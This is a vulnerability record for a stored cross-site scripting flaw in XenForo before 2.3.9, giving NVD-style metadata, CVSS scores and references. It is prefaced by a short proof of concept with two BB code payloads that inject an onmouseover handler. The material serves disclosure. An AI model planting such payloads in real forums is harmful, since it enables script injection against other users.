CVE-2026-35054

// Proof of Concept for XenForo BB Code Stored XSS // Attacker inputs the following payload into a post or signature field: [url=https://example.com' onmouseover='alert(1)']Hover Me[/url] // Alternatively, exploiting a specific tag attribute handling: [color=#000000" onmouseover="alert('XSS')]Text[/color] // Description: // The payload attempts to break out of the BB code attribute context // and inject a JavaScript event handler. When rendered, if the BB code parser // does not sanitize the attribute value correctly, the onmouseover event // is attached to the resulting HTML element.

{"cve": {"id": "CVE-2026-35054", "sourceIdentifier": "[email protected]", "published": "2026-04-01T01:16:41.200", "lastModified": "2026-04-01T18:51:19.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XenForo before 2.3.9 is vulnerable to stored cross-site scripting (XSS) related to BB code rendering. An attacker can inject malicious scripts through BB code that are stored and executed when other users view the content."}, {"lang": "es", "value": "XenForo anterior a 2.3.9 es vulnerable a cross-site scripting (XSS) almacenado relacionado con la renderización de código BB. Un atacante puede inyectar scripts maliciosos a través de código BB que se almacenan y ejecutan cuando otros usuarios ven el contenido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.9", "matchCriteriaId": "301013ED-80B4-44C5-A7B0-717C7AC0B40E"}]}]}], "references": [{"url": "https://www.vulncheck.com/advisories/xenforo-stored-cross-site-scripting-via-bb-code-rendering", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://xenforo.com/community/threads/xenforo-2-3-9-inc-xfmg-2-2-18-released-security-fix.235659/", "source": "[email protected]", "tags": ["Release Notes"]}]}}